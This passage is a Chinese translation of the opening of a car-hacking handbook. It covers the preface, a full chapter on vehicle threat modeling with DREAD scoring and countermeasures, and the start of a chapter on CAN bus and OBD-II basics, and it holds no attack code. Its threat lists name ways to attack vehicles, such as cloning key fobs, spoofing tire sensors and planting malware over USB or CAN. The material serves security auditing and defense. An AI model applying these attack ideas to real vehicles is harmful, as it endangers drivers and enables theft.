车辆黑客手册-全-

车辆黑客手册(全)

原文:zh.annas-archive.org/md5/13b58b13318191bf30043fe3beb57d19

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

image

2014 年,Open Garages——一个致力于共享和合作研究汽车安全的团体——发布了第一版《汽车黑客手册》,作为汽车黑客课程的教材。原书设计得适合放入车载手套箱,并覆盖了为期一到两天的汽车安全课程的基础内容。我们当时没想到那本书会引起如此大的兴趣:在第一周内就有超过 30 万次下载。事实上,这本书的受欢迎程度一度导致我们的互联网服务提供商(ISP)宕机两次!这让他们有点不高兴。(没关系,他们原谅了我们,这很好,因为我喜欢我的小型 ISP。嗨,SpeedSpan.net!)

读者的反馈大多数是非常积极的;大部分批评意见集中在手册过于简短,缺乏足够的细节。此书旨在解决这些问题。《汽车黑客手册》深入讲解了汽车黑客技术,甚至涵盖了一些与安全直接无关的内容,如性能调优和一些有助于理解和操作车辆的工具。

为什么汽车黑客对我们所有人都有好处

如果你正在阅读这本书,你可能已经知道为什么你会想要黑客汽车。但为了以防万一,这里有一份详细列出汽车黑客的好处的实用清单:

理解你的车辆如何工作

汽车行业已经推出了一些令人惊叹的车辆,配备了复杂的电子设备和计算机系统,但它们却很少发布关于这些系统如何工作的相关信息。一旦你了解了车辆网络是如何工作的,以及它是如何在自己内部和外部进行通信的,你就能更好地诊断和排除故障。

修理你的车辆电气系统

随着车辆的进化,它们变得更加电子化,机械化程度降低。不幸的是,汽车电子系统通常对除经销商机械师以外的其他人封闭。虽然经销商可以获取比个人通常能获得的更多信息,但汽车制造商自己也外包零件并要求使用专有工具来诊断问题。了解你的车辆电子系统如何工作,可以帮助你绕过这一障碍。

改装你的车辆

理解车辆如何进行通信,可以带来更好的改装效果,比如提高燃油效率和使用第三方替换零件。一旦你理解了通信系统,你就可以无缝地将其他系统集成到你的车辆中,比如显示性能的额外屏幕,或者与原厂设备一样完美集成的第三方组件。

发现未记录的功能

有时候,车辆可能配备了未记录的功能或仅仅是被禁用的功能。发现未记录的或被禁用的功能并加以利用,可以让你充分发挥车辆的潜力。例如,车辆可能有一个未记录的“代客泊车模式”,让你在将车钥匙交给代客泊车人员之前,将车辆置于受限模式。

验证你车辆的安全性

截至目前,车辆安全指南尚未涉及恶意电子威胁。尽管车辆和桌面电脑一样容易受到恶意软件的攻击,但汽车制造商并不要求对车辆的电子设备进行安全审计。这种情况完全不可接受:我们把家人和朋友载在这些车里,每个人都需要知道我们的车辆是尽可能安全的。如果你学会了如何入侵你的汽车,你就能知道车辆的脆弱点,从而采取预防措施,并成为更好的高安全标准的倡导者。

帮助汽车行业

汽车行业同样可以从本书中获得知识。本书提供了识别威胁的指导方针,以及绕过现有保护措施的现代技术。除了帮助你设计安全实践外,本书还为研究人员提供了如何沟通他们的发现的指导。

当今的汽车比以往任何时候都更加电子化。在《IEEE Spectrum》上的一篇报告《这辆车依赖于代码》中,作者罗伯特·N·查雷特指出,截至 2009 年,汽车通常配备超过 100 个微处理器、50 个电子控制单元、5 英里的线路和 1 亿行代码(spectrum.ieee.org/transportation/systems/this-car-runs-on-code)。丰田的工程师开玩笑说,他们在车辆上安装轮子唯一的原因是为了防止计算机刮到地面。随着计算机系统在车辆中的角色变得更加重要,进行安全审查也变得更加重要和复杂。

警告

汽车黑客攻击不容掉以轻心。操作你车辆的网络、无线连接、车载计算机或其他电子设备可能会损坏或使其失效。在实验本书中的任何技术时,请非常小心,并始终将安全性作为首要考虑因素。正如你可能想象的那样,本书的作者和出版商对于你的车辆可能造成的任何损坏概不负责。

本书内容

《汽车黑客手册》带你了解黑客入侵汽车所需的知识。我们首先概述了与汽车安全相关的政策,然后深入探讨如何检查你的车辆是否安全,以及如何在更复杂的硬件系统中发现漏洞。

以下是每章内容的概览:

第一章:理解威胁模型 教你如何评估一辆车。你将学会如何识别高风险组件所在的领域。如果你在汽车行业工作,这将成为构建你自己威胁模型系统的有用指南。

第二章:总线协议 详细介绍了在审计车辆时可能遇到的各种总线网络,并探讨了每种总线使用的布线、电压和协议。

第三章:使用 SocketCAN 进行车辆通信 演示了如何在 Linux 上使用 SocketCAN 接口整合多个 CAN 硬件工具,以便无论你的设备如何,你都能编写或使用一个工具。

第四章:诊断与日志记录 讲解了如何读取发动机代码、统一诊断服务以及 ISO-TP 协议。你将学习不同模块服务的工作原理,它们的常见弱点,以及关于你的信息是如何记录的以及存储位置。

第五章:反向工程 CAN 总线 详细说明了如何分析 CAN 网络,包括如何设置虚拟测试环境,以及如何使用与 CAN 安全相关的工具和模糊测试器。

第六章:ECU 黑客技术 重点介绍了运行在 ECU 上的固件。你将发现如何访问固件,如何修改它,以及如何分析固件的二进制数据。

第七章:搭建与使用 ECU 测试平台 讲解了如何从车辆中拆卸部件,搭建一个安全的测试环境。还讨论了如何读取接线图,并模拟发动机到 ECU 的组件,如温度传感器和曲轴。

第八章:攻击 ECU 与其他嵌入式系统 介绍了集成电路调试引脚和方法论。我们还探讨了侧信道分析攻击,如差分功率分析和时钟故障注入,并提供了逐步的示例。

第九章:车载信息娱乐系统 详细介绍了信息娱乐系统的工作原理。由于车载信息娱乐系统可能具有最大的攻击面,我们将重点讨论不同的方式来访问其固件并在系统上执行操作。本章还讨论了一些可用于测试的开源车载信息娱乐系统。

第十章:车与车通信 解释了拟议的车与车网络的工作原理。本章涵盖了加密技术以及多个国家提出的不同协议方案。我们还将讨论车与车系统的一些潜在弱点。

第十一章: 武器化 CAN 发现 详细介绍了如何将你的研究转化为可行的漏洞攻击。你将学会如何将概念验证代码转换为汇编代码,最终转化为 shellcode,并且你会探索如何仅针对目标车辆进行攻击,包括如何在不被发现的情况下探测车辆。

第十二章: 使用 SDR 攻击无线系统 介绍了如何使用软件定义无线电分析无线通信,如 TPMS、钥匙扣和防盗系统。我们回顾了在处理防盗器时可能遇到的加密方案,以及已知的漏洞。

第十三章: 性能调优 讨论了增强和修改车辆性能的技术。我们将介绍芯片调校以及常用的调整工具和技术,以便让引擎按你想要的方式运作。

附录 A: 行业工具 提供了在建立汽车安全实验室时会用到的软件和硬件工具清单。

附录 B: 诊断代码模式与 PID 列出了常见的模式和实用的 PIDS。

附录 C: 创建你自己的开放车库 讲解了如何加入汽车黑客社区,并启动自己的开放车库。

到书籍结尾时,你应该对车辆计算机系统的工作原理、最脆弱的地方以及这些漏洞可能被利用的方式有更深入的了解。

第一章:理解威胁模型

image

如果你来自软件渗透测试领域,你可能已经熟悉攻击面。对于我们其他人来说,攻击面指的是所有可能攻击目标的方式,从单个组件的漏洞到影响整个车辆的漏洞。

在讨论攻击面时,我们并不是考虑如何利用目标,而只是关心进入目标的入口点。你可以将攻击面想象成物体的表面积与体积的关系。两个物体可能有相同的体积,但表面积却大不相同。表面积越大,暴露于风险的可能性就越高。如果你把物体的体积看作它的价值,那么我们在强化安全时的目标就是创造一个低风险与价值比率。

寻找攻击面

在评估车辆的攻击面时,想象自己是一个恶意间谍,试图对车辆进行破坏。为了找到车辆安全性上的弱点,评估车辆的周边环境,并记录车辆的外部环境。确保考虑所有数据可能进入车辆的方式,这些方式都是车辆与外部世界进行通信的途径。

在检查车辆外部时,问自己以下问题:

• 接收了哪些信号?无线电波?钥匙扣?距离传感器?

• 是否有物理键盘访问?

• 是否有触摸或运动传感器?

• 如果车辆是电动的,它是如何充电的?

在检查内部时,考虑以下事项:

• 音频输入选项有哪些:CD?USB?蓝牙?

• 是否有诊断端口?

• 仪表盘有哪些功能?是否有 GPS?蓝牙?互联网?

如你所见,数据进入车辆的方式有很多。如果这些数据被破坏或故意恶意操作,会发生什么?这就是威胁建模的作用所在。

威胁建模

关于威胁建模已经写了整本书,但我将给你一个快速的概览,以便你能够构建自己的威胁模型。(如果你有更多问题,或者这一部分让你感兴趣,请毫不犹豫地再读一本关于这个主题的书!)

在对汽车进行威胁建模时,你需要收集目标架构的信息,并创建图表来说明汽车各部分如何进行通信。然后,利用这些图来识别高风险输入,并保持审计清单;这将帮助你优先考虑可能带来最大回报的入口点。

威胁模型通常是在产品开发和设计过程中创建的。如果生产特定产品的公司有良好的开发生命周期,它会在产品开发开始时创建威胁模型,并在产品通过开发生命周期时不断更新该模型。威胁模型是活文档,随着目标的变化以及你对目标了解的深入而变化,因此你应该经常更新你的威胁模型。

你的威胁模型可以包含不同的层次;如果模型中的某个过程很复杂,你应该考虑通过添加更多层次来进一步拆解图表。然而,在开始时,Level 2 是你能够达到的最远层次。我们将在接下来的章节中讨论不同的层次,从威胁 Level 0 开始。

Level 0:鸟瞰图

在这一层,我们使用了在考虑攻击面时建立的清单。想一想数据如何进入车辆。将车辆画在中心,然后标记外部和内部空间。图 1-1 展示了一个可能的 Level 0 图示。

矩形框表示输入,中心的圆圈代表整个车辆。在它们到达车辆之前,输入会穿过两条虚线,表示外部和内部威胁。

车辆圆圈并不代表一个输入,而是一个复杂的过程——即一系列可以进一步拆解的任务。流程有编号,正如你所看到的,这个是 1.0。如果你的威胁模型中有多个复杂的部分,你将按顺序为它们编号。例如,第二个流程为 2.0,第三个为 3.0,以此类推。当你了解车辆的功能时,你会更新图表。如果你现在还不认识图表中的所有缩写词,也没关系;你很快就会认识了。

image

图 1-1:Level 0 输入

Level 1:接收器

要继续查看 Level 1 图表,选择一个流程进行探索。由于我们的图表中只有一个流程,让我们深入研究车辆流程,并专注于每个输入所连接的内容。

图 1-2 中显示的 Level 1 地图几乎与 Level 0 的相同。唯一的区别是这里我们指定了接收 Level 0 输入的车辆连接。我们暂时不会深入查看接收器;我们只关注输入所连接的基本设备或区域。

image

图 1-2:Level 1 输入与车辆连接图

注意在图 1-2 中,我们为每个接收器编号。第一位数字表示来自图 1-1 中的 Level 0 图的流程标签,第二位数字是接收器的编号。由于娱乐信息单元既是一个复杂的过程又是一个输入,我们为其提供了一个流程圆圈。现在我们有了其他三个流程:防盗器、ECU 和 TPMS 接收器。

Level 1 图中的虚线表示信任边界之间的划分。图表顶部的输入是最不可信的,而底部的输入是最可信的。通信通道穿越的信任边界越多,该通道的风险就越大。

Level 2:接收器拆解

在二级层级中,我们检查车辆内部发生的通信。我们的示例图(图 1-3)集中在一个基于 Linux 的信息娱乐控制台,接收器 1.1\。这是其中一个较为复杂的接收器,通常直接连接到车辆的内部网络。

在图 1-3 中,我们将通信通道分组为带虚线的框,代表信任边界。现在,信息娱乐控制台内部有一个新的信任边界,称为内核空间。与内核直接通信的系统风险较高,因为它们可能绕过信息娱乐单元的任何访问控制机制。因此,蜂窝通道的风险高于 Wi-Fi 通道,因为它跨越了一个进入内核空间的信任边界;而 Wi-Fi 通道则与用户空间中的 WPA supplicant 进程进行通信。

image

图 1-3:信息娱乐控制台的二级地图

该系统是一个基于 Linux 的车载信息娱乐(IVI)系统,使用了与 Linux 环境通用的部件。在内核空间中,你会看到对内核模块 udev、HSI 和 Kvaser 的引用,它们接收来自我们威胁模型的输入。udev 模块加载 USB 设备,HSI 是处理蜂窝通信的串行驱动程序,而 Kvaser 是车辆的网络驱动程序。

二级的编号模式现在是 X.X.X,识别系统与之前相同。在零级时,我们选择了车辆进程 1.0 并进行了更深入的分析。然后,我们将一级内的所有进程标记为 1.1、1.2 等等。接着,我们选择了标记为 1.1 的信息娱乐进程,并进一步拆解,生成二级图。因此,在二级中,我们将所有复杂的进程标记为 1.1.1、1.1.2 等等。(你可以继续使用相同的编号方案,进一步深入到各个进程中。该编号方案用于文档化目的,能够让你在适当的层级中引用准确的进程。)

注意

理想情况下,在这个阶段,你应该映射出哪些进程处理哪些输入,但我们现在只能进行猜测。在现实世界中,你需要反向工程信息娱乐系统才能找到这些信息。

在构建或设计汽车系统时,你应该尽可能深入挖掘尽可能多的复杂过程。将开发团队引入,并开始讨论每个应用程序使用的方法和库,以便将它们纳入各自的威胁图中。你很可能会发现,应用层的信任边界通常位于应用程序与内核、应用程序与库、应用程序与其他应用程序,甚至是各个功能之间。在探索这些连接时,标记出具有更高权限或处理更敏感信息的方法。

威胁识别

现在我们已经深入分析了两层威胁建模图,我们可以开始识别潜在的威胁。威胁识别通常和一群人以及白板一起做会更有趣,但你也可以单独做作为思考练习。

让我们一起做这个练习。从级别 0——鸟瞰视角开始,考虑输入、接收器和威胁边界的潜在高层问题。现在,让我们列出所有潜在的威胁,并用我们的威胁模型进行分析。

级别 0:鸟瞰视角

在确定级别 0 的潜在威胁时,尽量保持高层次。一些威胁可能看起来不现实,因为你知道额外的障碍或保护措施,但重要的是在这个列表中包含所有可能的威胁,即使一些已经被解决了。这里的重点是头脑风暴每个过程和输入的所有风险。

级别 0 的高层威胁是,攻击者可能会:

• 远程接管车辆

• 关闭车辆

• 窃听车内乘客

• 解锁车辆

• 偷盗车辆

• 跟踪车辆

• 妨碍安全系统

• 在车辆上安装恶意软件

起初,可能很难想到很多攻击场景。在这个阶段,让非工程师参与通常是有益的,因为作为开发者或工程师,你可能会过于专注于内部工作,以至于自然而然地不经意地否定一些想法。

发挥创造力,尽量想出你能想到的最像詹姆斯·邦德反派的攻击方式。也许想想其他攻击场景,看看它们是否也适用于车辆。例如,考虑勒索软件,这是一种恶意软件,能够加密或锁定你的电脑或手机,直到你支付给远程控制该软件的人。这个方法能用于车辆吗?答案是肯定的。把勒索软件写下来。

级别 1:接收器

级别 1 的威胁识别更侧重于每个部分的连接,而不是可能直接连接到输入的连接。我们在这一层所假设的漏洞,涉及影响与车辆设备连接的那些部分。

我们将这些威胁分解为与蜂窝网络、Wi-Fi、钥匙扣(KES)、轮胎压力监测传感器(TPMS)、信息娱乐控制台、USB、蓝牙和控制器局域网(CAN)总线连接相关的威胁分组。如你在以下列表中所见,进入车辆的潜在方式有很多。

蜂窝网络

攻击者可能会利用车辆中的蜂窝网络连接来:

• 从任何地方访问车辆的内部网络

• 利用信息娱乐单元中处理来电的应用程序

• 通过信息娱乐单元访问用户身份模块(SIM)

• 利用蜂窝网络连接到远程诊断系统(如 OnStar)

• 窃听蜂窝通信

• 干扰求救呼叫

• 跟踪车辆的运动

• 设置一个伪造的全球移动通信系统(GSM)基站

Wi-Fi

攻击者可以利用 Wi-Fi 连接来:

• 从 300 码(约 274 米)或更远的距离访问车辆网络

• 找到处理传入连接的软件漏洞

• 在娱乐信息单元上安装恶意代码

• 破解 Wi-Fi 密码

• 设置假冒经销商接入点,欺骗车辆以为正在接受服务

• 截取通过 Wi-Fi 网络传输的通信

• 跟踪车辆

钥匙扣

攻击者可以利用钥匙扣连接来:

• 发送格式错误的钥匙扣请求,将车辆的防盗系统置于未知状态。(防盗系统应确保车辆处于锁定状态,防止被改装。我们需要确保其保持正常功能。)

• 主动探测防盗系统以耗尽车载电池

• 锁定钥匙

• 捕获在握手过程中从防盗系统泄露的加密信息

• 暴力破解钥匙扣算法

• 克隆钥匙扣

• 干扰钥匙扣信号

• 耗尽钥匙扣的电池电量

轮胎压力监测传感器

攻击者可以利用 TPMS 连接来:

• 向发动机控制单元(ECU)发送不可能的条件,导致故障,从而可能被利用

• 欺骗 ECU 过度修正假冒的路况

• 使 TPMS 接收器或 ECU 进入无法恢复的状态,可能导致驾驶员停车检查报告的故障轮胎,甚至可能关闭车辆

• 根据 TPMS 唯一 ID 跟踪车辆

• 假冒 TPMS 信号,引发内部警报

娱乐信息控制台

攻击者可以利用娱乐信息控制台连接来:

• 将控制台置于调试模式

• 修改诊断设置

• 找到导致意外结果的输入漏洞

• 向控制台安装恶意软件

• 使用恶意应用程序访问内部 CAN 总线网络

• 使用恶意应用程序窃听车辆乘员的操作

• 使用恶意应用程序假冒显示给用户的数据,如车辆位置

USB

攻击者可以利用 USB 端口连接来:

• 在娱乐信息单元上安装恶意软件

• 利用娱乐信息单元 USB 堆栈中的漏洞

• 连接带有特别制作文件的恶意 USB 设备,设计用来破坏娱乐信息单元上的导入器,如通讯录和 MP3 解码器

• 在车辆上安装修改过的更新软件

• 短路 USB 端口,从而损坏娱乐信息系统

蓝牙

攻击者可以利用蓝牙连接来:

• 在娱乐信息单元上执行代码

• 利用娱乐信息单元蓝牙堆栈中的漏洞

• 上传格式错误的信息,例如设计用于执行代码的损坏通讯录

• 从近距离(300 英尺以内)访问车辆

• 干扰蓝牙设备

控制器局域网络

攻击者可以利用 CAN 总线连接来:

• 安装恶意诊断设备向 CAN 总线发送数据包

• 可直接插入 CAN 总线,尝试在没有钥匙的情况下启动车辆

• 可直接插入 CAN 总线以上传恶意软件

• 安装恶意诊断设备以追踪车辆

• 安装恶意诊断设备直接连接到 CAN 总线,启用远程通信,将原本内部的攻击变成外部威胁

级别 2:接收器故障

在级别 2,我们可以进一步讨论如何识别特定的威胁。通过查看具体的应用程序处理了哪些连接,我们可以开始根据可能的威胁执行验证。

我们将把威胁分为五个组:Bluez(蓝牙守护进程)、wpa_supplicant(Wi-Fi 守护进程)、HSI(高速同步接口蜂窝内核模块)、udev(内核设备管理器)和 Kvaser 驱动程序(CAN 收发器驱动程序)。在以下列表中,我已指定了每个程序的威胁。

Bluez

旧版或未打补丁的 Bluez 守护进程:

• 可能存在可利用的漏洞

• 可能无法处理损坏的地址簿

• 可能没有配置以确保适当的加密

• 可能未配置以处理安全握手

• 可能使用默认密码

wpa_supplicant

• 旧版本可能存在可利用的漏洞

• 可能没有强制执行适当的 WPA2 样式无线加密

• 可能连接到恶意接入点

• 可能通过 BSSID(网络接口)泄露驱动程序信息

HSI

• 旧版本可能存在可利用的漏洞

• 可能容易受到可注入的串行通信(中间人攻击,其中攻击者将串行命令插入数据流)攻击

udev

• 旧版、未打补丁的版本可能容易受到攻击

• 可能没有维护的设备白名单,允许攻击者加载未测试或不打算使用的附加驱动程序或 USB 设备

• 可能允许攻击者加载外部设备,例如键盘,以访问娱乐信息系统

Kvaser 驱动程序

• 旧版、未打补丁的版本可能存在可利用的漏洞

• 可能允许攻击者向 Kvaser 设备上传恶意固件

这些潜在漏洞列表绝不是详尽无遗的,但它们应该能让你了解这一头脑风暴过程是如何进行的。如果你要查看车辆潜在威胁的三级地图,你将选择其中一个过程,如 HSI,并开始查看其内核源代码,以识别可能容易受到攻击的敏感方法和依赖项。

威胁评级系统

在记录了许多威胁之后,我们现在可以根据风险等级对它们进行评分。常见的评分系统包括 DREAD、ASIL 和 MIL-STD-882E。DREAD 常用于网页测试,而汽车行业和政府则分别使用 ISO 26262 ASIL 和 MIL-STD-882E 进行威胁评分。不幸的是,ISO 26262 ASIL 和 MIL-STD-882E 聚焦于安全故障,并不足以应对恶意威胁。关于这些标准的更多细节可以参考 opengarages.org/index.php/Policies_and_Guidelines

DREAD 评分系统

DREAD 代表以下内容:

损害潜力 损害的程度有多大?

可重复性 复现的难易程度如何?

可利用性 攻击的难易程度如何?

受影响用户 有多少用户受到影响?

可发现性 漏洞容易被发现吗?

表 1-1 列出了每个评级类别的风险等级(从 1 到 3)。

表 1-1: DREAD 评分系统

评级类别 高 (3) 中 (2) 低 (1)
D 损害潜力 可能颠覆安全系统并获得完全信任,最终接管环境 可能泄露敏感信息 可能泄露无关紧要的信息
R 可重复性 总是可以复现 仅在特定条件或时间窗口下可复现 即使提供有关漏洞的具体信息,也很难复现
E 可利用性 允许新手攻击者执行该漏洞利用 允许熟练的攻击者创建一个可以反复使用的攻击 仅允许具备深入知识的熟练攻击者执行攻击
A 受影响用户 影响所有用户,包括默认设置用户和关键客户 影响部分用户或特定设置 仅影响极少数用户;通常影响一个不常用的功能
D 可发现性 可以在公开的攻击说明中轻松找到 影响一个很少使用的部分,意味着攻击者需要非常有创意才能发现其恶意用途 很难被发现,意味着攻击者不太可能找到利用它的方式

现在我们可以将前面章节中识别的威胁与 表 1-1 中的每个 DREAD 类别进行匹配,并根据威胁的高低进行评分(1-3)。例如,如果我们查看在 “Level 2: Receiver Breakdown” 中讨论的 Level 2 HSI 威胁,位于 第 10 页,我们可以得出如 表 1-2 所示的威胁评分。

表 1-2: HSI Level 2 威胁与 DREAD 评分

HSI 威胁 D R E A D 总计
一个可能被利用的老旧未打补丁的 HSI 版本 3 3 2 3 3 14
可能容易受到注入串行通信攻击的 HSI 2 2 2 3 3 12

你可以通过使用总计栏中的数值来识别整体评分,如 表格 1-3 所示。

表格 1-3: DREAD 风险评分表

总计 风险等级
5–7
8–11 中等
12–15

在进行风险评估时,最好将评分结果保持可见,以便读者能够更好地理解风险。在 HSI 威胁的情况下,我们可以为每个威胁分配高风险,如 表格 1-4 所示。

表格 1-4: 应用 DREAD 风险等级的 HSI 2 级威胁

HSI 威胁 D R E A D 总计 风险
可能存在漏洞且未修补的旧版 HSI 3 3 2 3 3 14
可能容易受到注入串行通信攻击的 HSI 2 2 2 3 3 12

尽管这两种风险都标记为高风险,但我们可以看到旧版 HSI 模型的风险略高于可注入串行攻击,因此我们可以优先处理这个风险。我们还可以看到,注入串行通信风险较低的原因是其破坏程度较轻,而且其利用难度比旧版 HSI 更高。

CVSS:DREAD 的替代方案

如果 DREAD 对你来说不够详细,可以考虑更详细的风险评估方法,称为 通用漏洞评分系统(CVSS)。与 DREAD 相比,CVSS 提供了更多的分类和细节,分为三个组:基础、时间和环境。每个组进一步细分为子领域——基础组有六个,时间组有三个,环境组有五个,总共有 14 个评分领域!(有关 CVSS 如何工作的详细信息,请参阅 www.first.org/cvss/cvss-guide。)

注意

虽然我们可以使用 ISO 26262 ASIL 或 MIL-STD-882E 来评估威胁,但我们需要比“风险 = 概率 × 严重性”更详细的信息。如果你在进行安全审查时必须在这两种系统中选择一个,建议选择美国国防部(DoD)的 MIL-STD-882E。汽车安全完整性等级(ASIL)系统过于频繁地将风险评为 QM 等级,基本上意味着“无关紧要”。而 DoD 系统则更倾向于给出较高的排名,等同于更高的生命价值。此外,MIL-STD-882E 设计用于贯穿系统生命周期的应用,包括处置,且与安全开发生命周期很好契合。

与威胁模型结果的合作

到目前为止,我们已经列出了许多潜在的威胁,并按照风险对它们进行了排序。那么接下来呢?这取决于你所在的团队。如果使用军事术语,攻击方是“红队”,防守方是“蓝队”。如果你在红队,你的下一步是开始攻击那些风险最高且最有可能成功的区域。如果你在蓝队,回到风险图表,针对每个威胁采取相应的对策。

例如,如果我们以“DREAD 评级系统”中第 11 页的两个风险为例,我们可以为每个风险添加一个对策部分。表 1-5 包含了 HSI 代码执行风险的对策,而表 1-6 则包含了 HSI 截取风险的对策。

表 1-5: HSI 代码执行风险

威胁 在内核空间执行代码
风险
攻击技术 利用 HSI 的旧版本漏洞
对策 应该用最新的内核版本更新内核及内核模块

表 1-6: 截取 HSI 命令

威胁 截取并注入来自蜂窝网络的命令
风险
攻击技术 截取 HSI 上的串行通信
对策 所有通过蜂窝网络发送的命令都经过加密签名

现在你已经有了一份包含高风险漏洞和解决方案的文档。你可以根据未实施该解决方案的风险,优先考虑那些尚未实现的解决方案。

总结

在本章中,你学习了使用威胁模型来识别和记录你的安全姿态的重要性,并且需要让技术人员和非技术人员一起头脑风暴可能的场景。接着我们深入分析了这些场景,以识别所有潜在的风险。通过打分系统,我们对每个潜在风险进行了排名和分类。通过这种方式评估威胁后,我们最终得到了一个文档,定义了我们当前的产品安全姿态、已实施的任何对策,以及仍需处理的高优先级任务列表。

第二章:总线协议

image

在本章中,我们将讨论在车辆通信中常见的不同总线协议。你的车辆可能只使用其中一种,或者如果它是在 2000 年之前生产的,它可能根本没有使用这些协议。

总线协议管理着数据包在车辆网络中的传输。多个网络和成百上千的传感器在这些总线上通信,发送控制车辆行为和网络在任何特定时间了解信息的消息。

每个制造商都会决定哪个总线和哪些协议最适合其车辆。一个协议,CAN 总线,在所有车辆上都有一个标准的位置:OBD-II 连接器上。也就是说,实际在车辆 CAN 总线上传输的数据包并没有统一标准。

关键车辆通信,如转速管理和刹车控制,发生在高速总线线路上,而非关键通信,如门锁和空调控制,发生在中速到低速总线线路上。

我们将详细介绍你可能在车辆上遇到的不同总线和协议。要确定你特定车辆的总线线路,请在线查找其 OBD-II 引脚图。

CAN 总线

CAN 是一种简单的协议,广泛应用于制造业和汽车行业。现代车辆充满了小型嵌入式系统和电子控制单元(ECU),它们可以使用 CAN 协议进行通信。自 1996 年以来,CAN 已成为美国汽车和轻型卡车的标准,但直到 2008 年才成为强制性要求(欧洲车辆为 2001 年)。如果你的车是在 1996 年之前生产的,它仍然可能支持 CAN,但你需要检查一下。

CAN 使用两条线路:CAN 高电平(CANH)和 CAN 低电平(CANL)。CAN 使用 差分信号(低速 CAN 除外,详见 “GMLAN 总线” 在 第 20 页),这意味着当一个信号到达时,CAN 会在一条线上的电压升高,同时另一条线的电压下降相同的幅度(见 图 2-1)。差分信号用于必须容忍噪声的环境,例如汽车系统和制造业。

image

图 2-1:CAN 差分信号

图 2-1 展示了使用 PicoScope 捕获的信号,PicoScope 同时监听 CANH(图表顶部的较暗线条)和 CANL(图表底部的较亮线条)。注意,当一个比特在 CAN 总线上传输时,信号会同时在两个方向上传播,电压分别升高和降低 1V。传感器和 ECU 有一个收发器,它检查是否同时触发了这两个信号;如果没有,收发器会将数据包拒绝为噪声。

这两根双绞线构成总线,并要求在每端进行终端匹配。终端端口上的两根电缆之间有一个 120 欧姆的电阻。如果模块不在总线的末端,它不需要考虑终端匹配。作为可能接入线路的人,只有在你移除终端设备以进行线缆监测时,才需要担心终端匹配问题。

OBD-II 连接器

许多车辆都配备了 OBD-II 连接器,也叫做诊断链接连接器(DLC),它与车辆的内部网络进行通信。你通常会在方向盘柱下方或仪表板的其他地方找到这个连接器,它通常位于一个相对容易访问的地方。你可能需要四处寻找,但它的外形类似于图 2-2 中的样子。

image

图 2-2:OBD-II 连接器的可能位置

在一些车辆中,你会在小的接入面板后面找到这些连接器。它们通常是黑色或白色的。有些连接器很容易访问,而另一些则被藏在塑料下方。只要搜索,就能找到!

寻找 CAN 连接

CAN 信号在电缆中容易找到,因为其静态电压为 2.5V。当有信号输入时,它会增加或减少 1V(3.5V 或 1.5V)。CAN 电缆穿过车辆,并在 ECU 和其他传感器之间连接,通常是双线对的形式。如果你连接一个万用表并检查车辆电缆的电压,你会发现它们在静态时为 2.5V,或者波动 1V。如果你找到一个电压为 2.5V 的电缆,那它几乎可以肯定是 CAN 电缆。

你应该在 OBD-II 连接器的针脚 6 和 14 上找到 CANH 和 CANL 连接,如图 2-3 所示。

image

图 2-3:OBD-II 连接器上的 CAN 引脚线缆视图

在图中,针脚 6 和 14 用于标准的高速 CAN 线路(HS-CAN)。中速和低速通信发生在其他针脚上。一些汽车使用 CAN 进行中速(MS-CAN)和低速(LS-CAN)通信,但许多车辆使用不同的协议进行这些通信。

你会发现,并不是所有的总线都可以通过 OBD-II 连接器暴露出来。你可以使用接线图来帮助定位额外的“内部”总线线路。

CAN 总线数据包布局

CAN 数据包有两种类型:标准型扩展型。扩展型数据包类似于标准型,但具有更大的空间来容纳 ID。

标准数据包

每个 CAN 总线数据包包含四个关键元素:

仲裁 ID 仲裁 ID 是一种广播消息,标识尝试通信的设备 ID,尽管任何设备都可以发送多个仲裁 ID。如果两个 CAN 数据包同时沿着总线发送,仲裁 ID 较低的那个数据包会赢。

标识符扩展(IDE) 对于标准 CAN,这个位始终为 0。

数据长度代码(DLC) 这是数据的大小,范围从 0 到 8 字节。

数据 这是数据本身。标准 CAN 总线数据包承载的数据最大可以达到 8 字节,但某些系统通过填充数据包来强制使用 8 字节。

图 2-4 展示了标准 CAN 数据包的格式。

image

图 2-4:标准 CAN 数据包格式

由于 CAN 总线的数据包是广播的,网络上所有控制器都能看到每个数据包,就像以太网网络上的 UDP 一样。数据包不携带关于哪个控制器(或攻击者)发送了什么信息。因为任何设备都可以看到和发送数据包,所以在总线上任何设备都可以模拟其他设备。

扩展数据包

扩展数据包与标准数据包类似,只是它们可以链在一起,以创建更长的 ID。扩展数据包被设计为适应标准 CAN 格式,以保持向后兼容性。所以如果某个传感器不支持扩展数据包,在同一网络上其他数据包传输扩展 CAN 数据包时,它也不会出错。

标准数据包与扩展数据包的一个区别在于它们对标志的使用。通过网络转储查看扩展数据包时,你会发现与标准数据包不同,扩展数据包使用替代远程请求(SRR),代替远程传输请求(RTR),并且 SSR 设置为 1。它们还会将 IDE 设置为 1,并且它们的数据包会有一个 18 位标识符,这是标准 11 位标识符的第二部分。还有一些特定于某些制造商的 CAN 风格协议,它们与标准 CAN 一样,向后兼容扩展 CAN。

ISO-TP 协议

ISO 15765-2,也称为ISO-TP,是通过 CAN 总线发送数据包的标准,它通过将 CAN 数据包链在一起来扩展 8 字节的 CAN 限制,支持最多 4095 字节。ISO-TP 最常见的用途是诊断(参见“统一诊断服务”第 54 页)和 KWP 消息(CAN 的替代协议),但它也可以用于任何需要通过 CAN 传输大量数据的场合。can-utils程序包括isotptun,一个概念验证的隧道工具,适用于 SocketCAN,允许两个设备通过 CAN 隧道传输 IP。(有关如何安装和使用can-utils的详细说明,请参见“设置can-utils连接到 CAN 设备”第 36 页。)

为了将 ISO-TP 封装到 CAN 中,第一个字节用于扩展寻址,每个数据包剩余 7 个字节用于数据。通过 ISO-TP 发送大量信息可能会轻易地淹没总线,因此在总线活跃时使用此标准进行大规模传输时需要小心。

CANopen 协议

另一种扩展 CAN 协议的例子是 CANopen 协议。CANopen 将 11 位标识符分解为 4 位功能代码和 7 位节点 ID,这种组合被称为通信对象标识符(COB-ID)。该系统中的广播消息将功能代码和节点 ID 都设为 0x。CANopen 在工业环境中比在汽车环境中更为常见。

如果你看到一堆 0x0 的仲裁 ID,那么你发现的很可能是一个使用 CANopen 进行通信的系统。CANopen 与普通 CAN 非常相似,但在仲裁 ID 方面有一个定义明确的结构。例如,心跳消息的格式是 0x700 + 节点 ID。与标准 CAN 总线相比,CANopen 网络更容易进行反向工程和文档化。

GMLAN 总线

